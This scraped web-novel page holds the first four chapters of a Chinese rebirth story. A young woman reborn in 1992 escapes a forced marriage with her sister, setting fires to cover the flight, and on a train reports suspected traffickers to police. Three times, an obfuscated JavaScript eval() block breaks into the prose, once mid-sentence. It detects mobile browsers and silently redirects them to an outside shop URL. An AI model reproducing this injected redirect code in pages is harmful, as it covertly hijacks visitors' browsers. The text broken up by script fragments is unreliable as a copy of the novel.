《九零重生日志》 1. 重生 “姐，你逃吧！” 明曦迷迷糊糊中感觉有人推了自己一下，她轻轻皱了皱眉，睁开双眼，入目的是一张瘦小的小脸，只一双眼睛实在明亮。 明曦定定地盯着这张脸，这十几年来，她对于这张脸的记忆已经开始模糊了，如今再看到，倒有种陈年迷雾缓慢消散的感觉…… 陈小草看出姐姐的愣神，顺着她的目光摸了摸脸，又推了她一下，“姐，我说真的，你赶紧逃吧，咱爹妈给你说的那个男人不行，你不能嫁，我听隔壁二丫说，这男的喜欢打老婆！” 她说得有些激动，声音不自觉地就大了些，说完后立马机警地朝门口望，生怕自己刚才的话被人听到，她屏住气，静静听了会儿，见门外没什么动静，才敢放松下来。 明曦看着记忆中无数次出现的这一幕，心中酸涩，这是她去世多年的妹妹啊！ 这死妮子真是小心眼，这么多年了，愣是不愿意到她的梦里来，也不知道今天是什么日子，让这妮子愿意见她一面。 明曦眼眶湿润，双臂一伸便将人搂在怀里，小妮子看着穿的臃肿，但其实都是些不保暖的衣服，抱在怀里冰冰凉凉的。 陈小草以为姐姐是舍不得自己，也忍不住流下泪来，伸出手拍了拍她的背，轻声道：“姐，我听说咱村里有好几个年轻人都到南方去了，二丫她姐也去的南方，好像叫什么海城，说那里厂子多，只要去就能找到工作。”她用手背擦了眼泪，从姐姐怀里出来，“姐，你也去吧，你别挂念我，我这么厉害，不会被人欺负的。” 明曦不说话，只是贪婪地看着她，92年初，大哥年纪大了，到娶妻的年龄了，但是家里实在是穷得慌，大哥又是个闷葫芦，庄稼汉，也没什么本事，哪有人愿意嫁进来呢？ 她爹妈就把算盘打到了她身上，她18了，能嫁人了，她爹妈就想用她给大哥换彩礼，但这时候，也只有那娶不上老婆的人愿意给高彩礼，正好，隔壁村有个瘸腿的鳏夫看上她了，愿意给五千块钱彩礼。 那鳏夫在他们这片可是出了名的酒鬼，成天打老婆，前两个老婆说是跑了，但大家私下里都说估计是被他打死拉坟地里埋了。 这种情况下，哪户人家愿意把闺女嫁给他？ 结果明曦她爹妈私下里就跟人家商量好了，初二下聘，初六就把她给嫁过去，要不是昨儿晚上大年三十，爹妈心里高兴，说漏了嘴，恐怕上了花轿她都还不知道是怎么回事呢！ “姐，你吓傻啦？你别不说话呀！”陈小草起身摸黑去收拾东西，“这是我今天趁爹妈出去偷摸儿从他们房间里拿的钱，钱不多，但够你买个去海城的火车票了，我都跟二丫打听清楚了，一张坐票4块钱，还剩十来块够你到那边安顿的了。” 明曦还是没说话，眼珠子随着她转动，陈小草鼻子一酸，眼泪啪嗒啪嗒就掉了下来。 “姐，等你到了那边找个工作，赚了钱就回来接我。”她也才是个十来岁的小姑娘，平时在这个家就是跟着姐姐相依为命，等姐姐走了，她的日子肯定不好过。 明曦伸手去擦掉她脸上的眼泪，今天这个梦有点太真实了，她看着眼前人，心中忍不住祈求神仙，让她就这样梦下去，再也不要醒了。 陈小草把麻布口袋拎过来，“姐，你快走吧，现在他们都睡熟了，你先去主任家里躲一晚，等明天天一亮就去县里坐火车。” 她口中的主任是七十年代的一名下乡知青，在本地结了婚，后来当了他们这的妇女主任，姓苏，要不是有苏主任拦着，以她们爹妈的性子，明曦哪里能留到十八岁，恐怕十五六就被嫁出去了。 当初也是因为有苏主任在这，明曦才会自己南下，留小草在家，小草那时还满心期待地等着她回来接她，谁都没想到后来会发生那些变故…… 陈小草拉着明曦就想往外走，明曦站住脚道：“不急，姐想好好看看你。” 陈小草听了这话，眼泪欻一下就从眼眶里淌出来，她姐今晚上一直没说话，她心里直害怕，生怕她会想不开做傻事。 明曦又拉着她的手坐回床沿，酸涩笑道：“姐想你了，姐真的想你了……” “姐，我也舍不得你……”陈小草埋进她怀里，闷声道，“姐你别忘了回来接我。” “嗯，姐不会忘的。”明曦在她看不到的地方忍着哭腔道，她没有忘，但她还是食言了…… “好了，来不及了，姐你快点走。” 陈小草推开窗户往院子里看了看，院里静悄悄的，连个声儿都没有。 她又轻轻把窗户关上，转过头，没料到明曦把脑袋凑到她旁边，正巧和她来了个头碰头。 明曦懵然捂住脑袋，觉得脑子里的每一根神经都在跳痛，她紧紧皱起眉眼，弯下腰去。 “姐你没事吧？”磕了那一下，陈小草也觉得额头有点疼，但明曦捂着脑袋蹲在地上，唇边溢出痛苦的呻吟声，看上去十分痛苦，她姐今天一直不太对劲儿，别是发了烧，她连忙伸手去探她额头的温度。 明曦在那只冰凉的小手摸过来的瞬间便清醒了，混沌的脑子清明许多，也记起了很多事，原来眼前的场景并不是做梦。 她已经死了，因为胃癌死在了病床上。 而现在是她的新生，她回到了过去，回到了一切悲剧都还没开始的时候。 明曦握着那只手喜极而泣，朦胧泪花中仔仔细细地打量着陈小草。 陈小草被姐姐似颠若狂的样子吓到，以为姐姐被逼疯了，抖着声音道：“姐，你怎么了？你别吓我……” “我没事，我没事。”明曦连忙抹干净脸上的眼泪。 既然回来了，那么上一世让她遗憾一辈子的事情，这一世都不能再发生。 明曦看着床边的麻布口袋轻声道：“姐今天晚上不走，等明天王瘸子下了聘后，咱再走。” 陈小草不明白她要干什么，问道：“到那时候还走得掉吗？” 明曦笑着摸了摸干枯发黄的头发，点头道：“能！到时候咱俩一块儿走，还得把王瘸子给的定金全拿走，还有咱的户口本。” 陈小草向来听她的话，虽然心里还留有疑虑，但见她说得这么肯定，也不再反驳。 “你聪明，学习也好，等到了海城，姐给你找个好学校，你重新去读书。” 她们姐俩都是念完了小学，家里就不让上了，明曦是从后世回来的，知道后世最是注重文化知识，光有小学文凭是肯定不行的，她这辈子一定得亲眼瞧着小草上了大学才行。 陈小草倒没想那么远，她现在只想好好搂着姐姐，她本来以为今晚上姐姐就要走了，没想到姐姐突然又有了新打算。 纸糊的窗户透出外面的天色，太阳初升，光亮照进这间昏暗的小房间里，明曦盯着怀里的妹妹，一夜未睡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136046|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道谁家的公鸡叫了第一声，随后便是数不尽的鸡鸣狗叫，农村人是不睡懒觉的，外面随之就开始响起村里人的各种说话声。 不多时，院子里也有了动静，是陈妈起来了。 陈妈起床的第一件事就是到厨房里晃悠，“吱呀”一声推开厨房门，里面一个人也没有，她不由得心里就窝了火，竖起眉毛扯着大嗓门喊：“死丫头还不起床，这么大人了还这么懒，也不知道起来烧水！等去了婆家还这样，看人家不打你！” 明曦听到这久违的呵斥声，厌恶地闭上眼睛，陈家总共是五个孩子，三男两女，她们姐妹俩分别是老二老四，也就是说又有哥又有弟，但家里的事从来都是她们姐俩儿的，早上稍微起晚点，就绝对躲不了一顿骂，有时甚至还会是一顿打。 昨天小草折腾到半夜才睡，小孩本来就缺觉，外加她还营养不良，早上难得睡个安宁觉，就被这恼人的大嗓门吵醒。 明曦把又硬又不暖和的棉花被往小草身上裹了裹，翻身下床。 陈妈骂了两嗓子，没听见死丫头回话，心里更是气，把葫芦瓢往水缸里一扔，迈步就朝着西厢房过去。 她抬起手正要拍门，门冷不丁地就从里面打开。 陈妈瞧着站在门口的明曦，叉着腰怒道：“死丫头，这大过年的净给人找不痛快，这么大人了，不知道早上起来把水烧上啊？” 陈爹抽着旱烟从堂屋出来，拧着眉冷着眼道：“行了！今天是好日子，别在这儿吵吵！” 陈妈扭头看了他一眼，明白他话里的意思后，又回过头剜了明曦一眼，声音终归是放软了点，态度也不像刚才那么嚣张了，“小花啊，不怪妈说你，你说你再过几天就出门子了，以后也是有婆家的人了，在婆家可不像在咱自己家，想干啥干啥，到时候你不勤快点，你看你那丈夫抽不抽你？” “行了，你这也起来了，过来给我烧锅吧。”陈妈转身进了厨房，没注意到明曦脸上的表情。 明曦似笑非笑地看着她的背影，嘴边噙着一股嘲弄，在陈家人眼里女人都不是人，在家要听父母兄弟的使唤，出嫁要听公婆丈夫的话，稍不顺心，被打也是正常。 而关于明曦嫁给王瘸子这件事，更是连知会本人一声都不需要，因为在他们的观念里，不管明曦是否同意，她总归要听话的，谁让她是从他陈家长大的呢。 明曦前世不是没有恳求过他们，这时候，村里已经有人在南方打工赚到钱了，明曦甚至答应会把赚到的钱全部都寄回来，但一本万利的五千块钱彩礼哪是她一时半会儿就能攒到的？所以没有人正视她的恳求，所有人都认为把她嫁给王瘸子才是稳赚不赔的生意。 他们就是这样，又蠢又懒又毒！他们家真不愧是陈家村最穷的一户人家！ 明曦现在也懒得跟他们纠缠，她获得这么宝贵的重来的机会，可不是要浪费在这些人身上的。 她一言不发地跟在陈妈身后，钻进了采光不好的厨房，沉默地坐到灶膛前，随手往里面塞了一根干木头。 陈妈见她听话，心气儿才又顺下来，笑道：“这样不就对了吗？妈告诉你，你马上也要嫁人了，可不是姑娘家了，到人家家里手脚可得勤快点，要不回头人家来跟我告状，我可不会护着你。” 明曦没搭理她，只盯着灶膛里亮堂的火焰，被困在这小小的炉灶里实在是委屈了它。 2. 离开 “妈！今天早上有没有鸡蛋吃？” 陈妈听到这声音，脸上瞬间扬起笑，忙不迭应道：“有，有，你先去洗把脸，柜子里还有两颗糖，你去拿着吃吧，鸡蛋过会儿就好。”说着就掀开锅盖，往锅里放了三颗水煮蛋，她瞥了一眼被膛火照得明亮的明曦，犹豫了一下又拿了一颗放进锅里。 跟接火车似的，陈三宝刚出去，陈二宝又进来了。 在陈家，儿子都是宝，大宝、二宝、三宝，女儿就是不起眼的小花小草。 大冬天的，一开口嘴里就直哈气，陈二宝冻得直跺脚，往明曦身上靠，“大姐，你往那边去去，我烤烤火。” 明曦可不想让他贴着自己，灵活地一扭身，就从小板凳上起来，“你烧火吧，暖和。”说完，愣都不打地就出了厨房。 陈二宝听到这话，有些错愕地看着她。 陈妈瞧见这一幕又不悦地拱起眉毛，但想到接下来的事后，到底是没再说什么。 这一股子气一直憋到了吃饭，陈家就只有一个小木方桌，挨挨挤挤也只能坐下四五个人，明曦她们姐俩一向是没有资格上桌的，平日里都是端着个破碗守着灶台吃，而陈家这四个男人跟土皇帝似的往那一坐，就等着几个女人端菜端饭地伺候他们。 陈妈过去坐在小儿子旁边，从碗里拿了个鸡蛋递给明曦，恩施似的道：“晌午女婿就来了，你待会儿去换身衣裳，换个补丁少点的，这个鸡蛋你拿去吃吧。” 明曦把鸡蛋拿走后便拉着小草进了厨房。 陈大宝瞧着她面无表情的脸，抿了抿唇后低下头吃饭。 明曦把鸡蛋剥壳后塞进小草碗里，温柔笑道：“你吃。” 小草又把鸡蛋掰成两半，“姐，咱俩一块儿吃。” “嗯。”明曦没有拒绝，齿间溢着鸡蛋香气，看着吃得满足的小草，轻声说，“等去了海城，会有吃不完的鸡蛋的。” 小草听到这话，眼睛像流星一样瞬间变亮，咧着嘴笑：“好！” 晌午吃过饭后，村里热闹起来，王瘸子一瘸一拐的过来下聘，身后跟着王家村的壮劳力，扛了两床新棉被，一路上敲锣打鼓的。 大年初二，正是走亲戚回娘家的日子，村里的外嫁女几乎都回来了，听到这个热闹都扎堆到陈家院子外。 苏主任也来了，不赞同地看着这一切。 几乎是王瘸子一来，陈家人便亲切地把人迎进去，看着他的眼神里都是对钱的渴望。 王瘸子也清楚他们家嫁闺女就是图钱，所以一进门就把厚厚的红纸包着的钱塞到陈爹手里，脸上阔气地笑道：“老丈人！这是聘金！” 一开始就说好的，聘金是一千二，结婚那天再把剩下的三千八给他们。 王瘸子一个酒鬼哪会有这么多钱，这都是他求爷爷告奶奶借的，就等着明曦嫁进去帮他还债呢！ 陈家也都知道这个事儿，但人家不在乎，只要人家儿子能娶上老婆，谁管闺女的死活。 明曦站在西厢房门口冷眼看着眼前的这一场滑稽的笑话。 眯着眼咧着嘴的陈爹陈妈，垂着头好似在愧疚的陈大宝，凑热闹问所谓未来姐夫要糖吃的陈二宝陈三宝，以及不怀好意上下打量明曦的王瘸子。 大红的棉被晃眼，更把几人的嘴脸映衬的可怖。 陈小草被这个场面吓到，缩着身子紧紧攥着明曦的手不肯松。 明曦感受到手上的力道，对着她安抚似的笑了笑。 “哦~新娘子笑了！新娘子笑了！”王家村的男人们看到这一幕，恶意地哄笑起来。 王瘸子身上酒意冲天，酒糟鼻跟小丑似的在平地上拔起，他走上前对着明曦笑道：“你别害羞，以后你就是我老婆了。” 明曦嫌恶地低下头后退一步，更被众人理解成是觉得羞涩。 王瘸子的自尊心得到极大满足，抬手压了压，“行了行了别喊了，把礼放下，坐下歇歇！” 陈小草躲在明曦身后，惊恐地看着他们。 她毕竟还小，明曦怕她被吓出好歹，便牵着她进了屋，把木门关上，隔绝外面的嬉闹声。 “小草别怕，咱今晚上就走，后天这个时候差不多就到海城了。” 陈小草咽了咽口水，缓过神来道：“……我不怕。” 明曦浅笑着拍了拍她脑袋，目光好像穿过黄泥墙壁看到了那厚厚的红纸包。 想要去海城，尤其是她们两个姑娘，手里一定得有钱才行。 水浑了，才好摸鱼。所以她才说要等王瘸子下聘之后再走。 按照这边的规矩，女婿来下聘，老丈人家是要请来的人吃晚饭的。王家村来的人可不算少了，两桌子是要的，陈家又没有这么多碗筷板凳，都得跟邻居们借，而人一多就容易生乱。 收到聘金后，陈爹陈妈俩明显心情不错，陈爹在堂屋招待他们，陈妈跟邻居借好了东西，喊明曦姐俩出去帮忙。 明曦应下后先对小草道：“我待会儿去找一下苏主任，咱想要走得有苏主任的帮忙才行。” “好，姐你去吧，我在家里看着妈。” 两人对视一眼，各自点点头，明曦拉开西厢房的门，二人出去走到院子里去。 明曦随便干了点活后就找了机会穿过人群出去。 不光是她在找苏主任，苏主任也在找机会跟她说两句话。 苏主任看见明曦后连忙带着她朝没人的地方去，明曦还没来得及开口就听她连珠炮似的问：“小花，你是真要嫁给那个人吗？是不是你家里人逼你了？要是有什么委屈，你就跟阿姨说，阿姨给你做主！” 苏主任四十多岁，留着一头时髦的卷发，眼神温柔，语气铿锵有力，带着不属于这个地方的坚定，明曦小的时候没少幻想她才是自己的妈妈。 明曦四下张望了下，简明扼要道：“主任，我的确是被逼的，现在有件事想找您帮忙……” 苏主任欣慰地看着她，丝毫没有犹豫就答应下来，不认命，知道反抗，知道逃就好。 明曦不敢出来太久，怕陈妈会察觉，晚上不好行事。 果不其然，等回到院子的时候，就听陈妈狐疑地看着她问：“刚才上哪去了？这么长时间不见人影儿。”明曦毕竟十八了，长了脚，陈妈虽然觉得爹妈让嫁谁，闺女就得嫁是天经地义，但她也怕明曦偷偷跑了，到手的彩礼钱没了。 明曦淡淡回道：“拉肚子了。”随后越过她进了厨房，对着烧火的小草笑了笑。 陈小草瞧见这个笑就知道姐姐要做的事情已经办成了，心中也不由得向往起未来自由的生活，反正只要跟姐姐在一起，不管怎么样都比在这个家里好。 冬天黑的早，陈家穷的都没拉电线，总不能让大家伙点着煤油灯吃饭，就算人家愿意，陈家都嫌浪费油，所以还没到四点菜就上桌了。 桌子上全是老爷们，又碰上这种喜事，都是奔着喝酒来的，一桌放了一坛子白酒，众人黝黑的脸上瞬间咧出一口白牙。 陈爹拍了拍坐在他左侧的陈大宝的肩膀，“快，给你妹夫倒碗酒。” 陈大宝愣了愣，最终还是起身拿起酒瓶将王瘸子的酒杯填满。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136047|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明曦站在厨房里冷眼瞧着他们喝。 陈妈端着盘子从她身边经过，“傻站着干什么呢？把这盘菜端上去啊。”边说边把盘子递到她眼前，她总觉着闺女瞧着有点不太对劲，按说她不该就这样同意，总会反抗两句才对，这么安静，别是心里憋了什么坏，陈妈怀疑地盯着她的背影看了看。 等一群人吃吃喝喝结束，天已经黑透了，王瘸子醉得东倒西歪，被同村的人起哄：“你今晚上就睡你丈母娘家得了！” 其他的人也都暧昧地笑起来。 明曦皱着眉还没说话，陈大宝率先开口：“那不行，没结婚呢，俺们家没有那规矩。” 陈妈听到他这话，怕剩下的三千八出点什么意外，朝陈大宝瞪了一眼，又悄悄伸手拧了他一把。 陈大宝装作不知道，仍招呼着他们扛着王瘸子回去。 明曦也没想到陈大宝会吭声，毕竟她嫁给王瘸子的最大受益人就是他，不过鳄鱼的眼泪也没什么在乎的必要。 男人们都喝了酒，摸着黑回屋睡觉，陈妈收拾着盘子说：“先都收到厨房里去，等明天天一亮你俩起来给洗了，人家的别忘了给送回去。”说完也进了屋。 碗碟碰撞，发出叮啷的声响，明曦悄声道：“你待会儿去把那柴火垛点了，等火烧大了再回来叫人，机灵点，趁乱赶紧跑。” “我知道了。”小草将东西放下，拿着灶台边的火柴盒麻利地跑出去，房子后边是之前存的麻秸杆、玉米棒子之类的预备冬天烧锅用的，特别好烧，一点就着。 明曦面朝柴火垛的方向静静等着，于寒冷的黑夜中闻到一股烟火味，唇角弯起一点点弧度。 紧接着小草的呼喊的声音传回来，将静谧的夜打破。 陈妈披着棉袄惊慌地从房里出来，口里问：“咋了咋了？” 小草气喘吁吁地从门外跑进来，双手撑着膝盖：“后面着火了！” “着火了？！”陈爹闻着空气里的烟味，这下也坐不住了，趿拉着一双解放鞋，脚向后抬，食指一勾将鞋跟带上，便连忙朝外跑。 因着着火，谁也没顾上明曦，她等家里的人都出去后，就钻进了陈爹陈妈的房间，用火柴快速把煤油灯点上，熟练地在床边的箱子里翻找，将户口本塞进兜里，再继续找那个红纸包。 箱子里没有，明曦转了转眼，前世过了太久，关于陈家的东西，很多她都记不太清了，一时也有些想不起来陈爹陈妈会把钱藏到哪里。 柴火垛与房子仅一墙之隔，并不隔音，外面人群的呼喊交流，她在房间里听得一清二楚。 住在旁边的人都因为着火的动静而拎着水桶出来，人多力量大，火灭的也快，时间不多，她得快点了。 那边小草趁着黑夜奋力跑着，彷佛后面有一头凶恶的猛兽在追赶，心脏在胸膛中剧烈跳动，小草总有一种它会从胸口跳出来的感觉。 “好端端的，怎么会着火呢？” “就是说，这大晚上的，是不是谁家小孩放炮扔这儿了？” “有这可能。” 明曦听着一墙之隔传来的交流声，声音中透露着放松，看来火被灭的差不多了。 她一伸手拉过被子，一个红纸包随之掉落在地上，鼓鼓囊囊，明曦连忙捡起来，把煤油灯将被角点燃。 棉花被，用不了多少功夫，火就尽情的燃起来，明曦没有停留，转身跑出这座黄泥房。 黑夜冷风中，她听到身后的惊讶嚎哭：“房子！房子怎么烧着了啊！我的房子！” 陈大宝黑夜中看了眼远方，眸光沉沉。 3. 火车 “姐！”小草看到一道跑过来的纤瘦身影，忍不住激动地呼叫出声，人也连忙迎上去，“姐你终于过来了，我在这儿等的急死了！就害怕出了什么差错，你没跑出来。” 明曦微微喘着粗气，笑着摸了摸她的头，对着旁边的苏主任说：“苏阿姨，麻烦您了。” “这有什么麻烦的，总比让我亲眼瞧着你们在火坑里的好。”苏主任朝她身后看了看，将人拉进屋，“进来暖和暖和。你这丫头胆子也忒大了，竟然敢放火。” 话刚说完就转身进了里间，拿着两张薄薄的纸出来，脸上泛起笑容：“你下午刚跟我说，我就连忙打电话托人得了这两张火车票，时间紧，去海城的只能搞到这两张后半夜的票了，你们现在就得去县里火车站，要不恐怕来不及。” 说着她轻轻叹了口气，“我没有办法去送你们了，估计待会儿你家里人发现你们不见了，得来找我，我得留下来处理这事儿。” 苏主任的丈夫也是陈家村人，按辈分，她们得叫他大爷。 两个人坐上陈大爷的摩托车，冲着旁边的苏主任摆手，明曦道：“苏阿姨，我会回来看您的！” 苏主任摆摆手，眼中有泪花闪现：“别回来了，在那边好好过日子，有什么事给我打个电话写封信就行。” 摩托车的轰鸣声响起，如一往无前的马瞬间急涌出去，前灯将路两旁干枯的杂草照亮。 小草靠在明曦胸膛上，眼睛努力的睁着，像是要把眼前的一切都刻进脑子里。 冷风呼啸了一个多小时，才终于到了火车站，这是一个途径的小站台，人不多，站台前亮着一盏低瓦数的小灯。 陈大爷把人送到后，从怀里拿出一个纸包递到明曦手上：“这是你苏阿姨给你们烙的饼，留着你们路上吃。” 明曦牵着小草站在昏黄的灯光下目送摩托车的远去。 小草晃了晃明曦的手，语气中尽是不可置信：“姐，咱真的就这样逃出来了吗？” 明曦被她的傻气逗笑：“是啊，逃出来了。” 二人转身进了站台里面，谁都没有提起陈家村。 夜里站台没什么人，只零星几个工作人员打着瞌睡值班。 火车从远处轰鸣而来，明亮的灯光照出三里地外，席卷起一阵冷风扑到姐妹两头上。 小草紧紧攥着明曦的手，心中虽然忐忑，但更多的是对未来的希望。 火车稳稳停在二人跟前，眼前的铁门从里打开，一名打着呵欠的乘务员眯缝着眼出来，声音有些散漫：“检票。” 明曦连忙将那两张薄薄的火车票递上去。 乘务员拿在手里看了看，侧了侧身让二人上去。 火车上的人东倒西歪的睡了个满，让人简直没有下脚的地。明曦牵着小草小心翼翼地进去，挤了个空位出来拉着她坐下。 明曦问：“饿不饿？”伸手将陈大爷给的包裹打开。 晚上因为计划着逃跑的事，两人谁也没有心思吃东西，一切激动退散，越发显出肚子的空荡来。 小草舔着嘴唇等着，平时一到饭点，就苏主任家里传出来的味道最香。 饼子是一层一层叠着的，中间厚厚鼓起来一块，瞧着有些不对劲，明曦脑中的一个想法一闪而过，她捏着袋子，迟迟没有把饼拿出来。 小草不解地看着她，轻声问：“姐，咋了？” 明曦抿了抿唇，像是验证什么似的，小心地掀起饼皮的一角，低下头，眼睛悄悄往里瞥，果不其然，牛皮纸的信封中是一张蓝黑色的老人头！ 前世苏主任也给了明曦一百块钱，但当时兵荒马乱的，是直接塞到她手里的，这次可能是知道她们拿走了王瘸子的那一千二，怕直接给她们她们不要，这才偷偷夹在了饼里。 小草从缝隙里看到也不由得瞪大了眼，吃惊地看着她。 要知道，这个时候，一户农村家庭一个月的收入也没有一百块钱，就算苏主任工资高，一个月顶天也就两三百。 明曦怕被别人看见，连忙将饼皮盖上。 二人一时都有些沉默，谁能想到，亲爹妈要把她们嫁了换钱，而跟她们毫无血缘关系的人却这么尽心尽力不图回报地帮助她们。 良久后，明曦方才哑着声音开口说：“我们以后一定不能忘记苏阿姨的恩情。” “嗯！”小草郑重点头，眼神中尽是坚毅。 苏主任专门烙的鸡蛋饼，放足了油水，打开油纸袋便是一股扑鼻的香味，生怕姐俩吃不饱，可此时二人却都没有什么享受美食的心思，具都沉默地吃完了一张饼。 火车发出哐当哐当的声音，席地而坐的两人头肩搭靠，身体随着火车的摆动而摇晃，明明是很不安稳的一个觉，二人却觉得比往日的任何时候都要香。 哪怕日后睡在昂贵的定制床垫上也会忍不住想起这混乱却平静的一夜。 第二天天刚蒙蒙亮，明曦就睁开眼，小草乖巧地依偎在她怀里，火车仍在不知疲倦般的向前跑。 车厢里的人也都悠悠转醒，慢慢地响起了交谈声。 小草被吵醒，迷茫了两秒后道：“姐，我想上厕所。” “我跟你一起去。”明曦带着她站起来，边走边道，“车上鱼龙混杂，坏人多的很，咱们两个时时刻刻都别分开，东西也不能离手。” 小草听话地点头，跟着姐姐从人群缝隙中跨出去。 也真是幸好二人都没另外带行李，就苏主任给的一个装饼的小兜子，走哪带哪，不用刻意留个人看行李。 等二人洗漱完回来，刚刚的位置已经被别人占了，她们只好再另找地方。 因着改革开放的缘故，沿海的那几个城市现在都备受欢迎，大批的人前往那里打工，也正是如此，才初三，火车上就已经坐得满满当当，连个空地都没有。 俩人这次运气不好，没地方坐，只能在车厢连接处依墙站着，明曦一直攥着小草的手，半刻也不敢松，生怕出了什么意外，将她二人分开。 “小草，我给你改个名字吧？” “好啊。”小草仰着头看她，“我其实一点都不喜欢自己的名字，凭啥男的都是宝，女的都是草？” 明曦笑了笑，“以后你就叫明月，是月亮，不是小草了。” “陈明月吗？” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136048|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就叫明月。”明曦摇了摇头，“‘陈’是旧的意思，旧的就是昨天，我们不要回头看，不要去想昨天的事情，要往前看，朝‘明天’看，所以我们以后就改姓‘明’。” 小草，不，是明月，明月兴奋地看着她，使劲点了点头：“好！以后我们就姓明，才不要跟着他们姓陈。那姐你叫什么？” “明曦，我叫明曦。”明曦转过头看向车窗外苍茫的天地，这个名字是一位很好很好的人帮她取的，希望她永远都能被太阳温暖，只可惜当她照到太阳时，那个很好很好的人已经不在了…… 因为改了名字而正处于兴头上的明月没有注意到明曦眼中浓浓的悲伤。 沉浸在自己世界中的两个人被一道粗粝的声音打破：“哎，你们俩也是去海城吧？” 明曦循声望过去，是一名身材微微走样的妇女，她没有回答，只是静静地看了她两眼。 那妇女对她的抗拒仿若不觉，自顾自地热情贴上来道：“哎哟，我这也是去海城，听俺们村里的人说，海城现在挣钱的机会可多哩！” 明曦眉毛动了动，将明月护在里侧，随后扭过头不去管她。 “就你们姐俩吗？身边也没跟着个男人？”那妇人语气中充满了探究意味。 明曦将她的探究与打量尽收眼底。 那妇人摆了摆手，脸上拢着笑：“你们两个小丫头不懂，这出门在外啊，身边没个人可不行。咱这既然碰巧坐到了一辆火车，那就是有缘分啊，对了，你们去海城是去干啥去？” “走亲戚。”明曦言简意赅。 “呦！走亲戚啊，真巧，我也是去走亲戚去！” 明月探出头问：“你刚不还说你去打工吗？” 那妇人脸上不过僵了一瞬便恢复如常，亲切地笑起来：“嗨，那不正好有亲戚在那打工，正好去投奔他嘛！我跟你们说呦，这去那边要没个亲戚带着，会被人欺负，要吃亏的！” 这人嗓门大，声音穿透力极强，哪怕不想听，那些话还是一股脑儿地钻进耳朵眼儿里。 明曦不准备和她在这纠缠下去，拉着明月就往外走：“麻烦让让，我们去上个厕所。” 明月也意识到不对劲，低着头紧紧跟着她。 在二人身后，谁也看不到的地方，那妇人脸色耷拉下来，朝着不远处使了个眼神。 二人往前走，明显感觉到身后像是有人跟着，于是连忙加快脚步，企图将人甩在身后。 这个年代虽然机会多，但治安却不如后世稳定，灰黑色地带也更多，尤其是在后世都没被解决的人口拐卖，在此时更是猖獗。 若是明曦一个人面对这种情况，她可能不会选择挪步离开，但因为明月在身边，哪怕打得过对方，她也不想冒险。 “花生瓜子矿泉水！来，脚收一收！” 这个在夜里会被嫌弃扰眠的声音，在此时显得尤为动听。 明曦看着穿着制服推着小车的女人，眼睛一亮，带着明月快步走到那人身旁，轻轻说了几句话。 推销员神色一震，给二人让了个通过的位置，“你们往后面走，那边有乘务员和乘警。” 4. 抓住 过道窄小，那妇女一时跟不上来，明曦带着明月快步往前走，终于看见蓝色制服的乘警。 明曦：“叔叔，后面有个人鬼鬼祟祟的，还老是套我们的话。” 乘警隆起眉往那个方向探，道：“行，我知道了，我会密切关注的。” 这时候火车上乱得很，小偷小摸的、诈骗的，只说人行迹诡异，警察也拿人家没办法，只能多观察，可车上这么多人，又哪能观察的过来？ 明曦看到乘警眼中的无奈，也知道现在的情况，她一咬牙道：“我怀疑那人是人贩子！而且还是有团伙的。” 明月吃惊地看着姐姐，她倒不是不相信明曦的话，而是惊讶刚刚看起来只是过分热情的人竟然会是人贩子。 乘警表情瞬间严肃起来，语气也有些吓人：“小姑娘，这话可不能乱说，说了要负责任的。” 人贩子不比普通的小偷，小偷不过偷点财物，人贩子可是要拐人的！ 明曦直接道：“叔叔，你看那边那个穿深蓝色棉袄的，那个带皮绒帽的，还有刚刚我指给你的那个妇女，他们仨绝对是一伙的。” 乘警有些诧异地看着眼前瘦瘦的姑娘，到时没想到她连所谓同伙都锁定了，不由笑起来：“你怎么就这么肯定人家是人贩子，还是一伙的？” “我们姐妹刚在那边站了没多久，那名妇女就过来套近乎，又是打听我们去哪，又是打听我们有没有熟人，不过这都不是重点，重点是我们一走，正常人谁会跟上来？要说他们不是想图谋点什么，我是不会信的。” 明曦继续道：“要说他们是想从我们身上抢点钱，可是叔叔，你看我们姐妹俩像是有钱的样子吗？” 她说完后，乘警竟真顺着她的话看了她们俩一眼，随后摇摇头道：“我看不太像。” “既然我们没钱，他们又觉得我们身上有利可图，那除了人贩子，我想不出来其他的了。”明曦有条不紊地分析着。 乘警点点头认同她的分析，但仍是摊手道：“但没证据，我也不能直接把人抓走吧。不过你们姐俩也的确是危险，这样，我带你们去餐车那边坐着，你们去那躲躲，那边乘务员多，他们不敢乱来。” 眼下除了这样也没别的办法了，但对于那些人贩子，明曦不甘心就这样轻轻拿起又放下，毕竟人贩子可不会就此停手，只是转换个目标的事而已。 